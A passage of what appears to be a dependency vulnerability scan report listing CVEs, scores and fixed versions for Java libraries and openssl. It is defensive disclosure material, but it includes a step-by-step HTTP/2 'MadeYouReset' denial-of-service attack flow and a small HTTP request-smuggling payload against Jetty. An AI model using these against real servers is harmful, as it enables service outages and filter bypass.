CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.427%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile23rd percentile
+ +
Description +
+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.jboss.xnio/xnio-api 3.8.8.Final (maven) + +pkg:maven/org.jboss.xnio/xnio-api@3.8.8.Final
+high 7.5: CVE--2023--5685 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<=3.8.13.Final
Fixed version3.8.14.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.474%
EPSS Percentile64th percentile
+ +
Description +
+ +A flaw was found in XNIO. The XNIO NotifierState that can cause a Stack Overflow Exception when the chain of notifier states becomes problematically large can lead to uncontrolled resource management and a possible denial of service (DoS). Version 3.8.14.Final is expected to contain a fix. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of 